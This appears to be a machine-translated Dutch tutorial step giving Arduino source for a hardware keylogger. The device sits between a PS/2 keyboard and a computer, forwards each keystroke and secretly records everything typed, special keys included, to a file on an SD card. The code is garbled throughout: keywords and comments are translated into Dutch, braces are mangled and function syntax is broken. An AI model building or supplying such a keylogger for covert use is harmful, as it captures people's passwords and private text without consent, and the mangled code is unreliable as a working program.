Stap 4: De code
#include < SdFat.h >
#include < PS2Keyboard.h >
Const int chipSelect = 0;
Const int DataPin = 9;
Const int IRQpin = 8;
String keylog = "";
PS2Keyboard toetsenbord;
SdFat sd;
SdFile myFile;
VOID Setup {}
SD.init (SPI_HALF_SPEED, chipSelect);
Keyboard.begin (DataPin, IRQpin);
}
void loop {}
Als (keyboard.available()) {}
myFile.open ("test.txt", O_RDWR | O_CREAT | O_AT_END);
Lees de volgende sleutel
char c = keyboard.read();
Controleer voor een aantal van de speciale toetsen
Als (c == PS2_ENTER) {}
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
keylog += "[ENTER]";
myFile.println(keylog);
myFile.close();
keylog = "";
} else if (c == PS2_TAB) {}
Keyboard.set_key1(KEY_TAB);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[TAB]");
myFile.close();
} else if (c == PS2_ESC) {}
Keyboard.set_key1(KEY_ESC);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[ESC]");
myFile.close();
} else if (c == PS2_PAGEDOWN) {}
Keyboard.set_key1(KEY_PAGE_DOWN);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[PAGEDOWN]");
myFile.close();
} else if (c == PS2_PAGEUP) {}
Keyboard.set_key1(KEY_PAGE_UP);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[PAGEUP]");
myFile.close();
} else if (c == PS2_LEFTARROW) {}
Keyboard.set_key1(KEY_LEFT);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[LEFTARROW]");
myFile.close();
} else if (c == PS2_RIGHTARROW) {}
Keyboard.set_key1(KEY_RIGHT);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[RIGHTARROW]");
myFile.close();
} else if (c == PS2_UPARROW) {}
Keyboard.set_key1(KEY_UP);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[UPARROW]");
myFile.close();
} else if (c == PS2_DOWNARROW) {}
Keyboard.set_key1(KEY_DOWN);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[DOWNARROW]");
myFile.close();
} else if (c == PS2_HOME) {}
Keyboard.set_key1(KEY_HOME);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[HOME]");
myFile.close();
} else if (c == PS2_SCROLL) {}
Keyboard.set_key1(KEY_SCROLL_LOCK);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[SCROLL]");
myFile.close();
} else if (c == PS2_BACKSPACE) {}
Keyboard.set_key1(KEY_BACKSPACE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[BACKSPACE]");
myFile.close();
} else if (c == PS2_DELETE) {}
Keyboard.set_key1(KEY_DELETE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
myFile.println("[DELETE]");
myFile.close();
} else {}
anders gewoon alle normale tekens afgedrukt
Keyboard.Print(c);
keylog += c;
}
}
}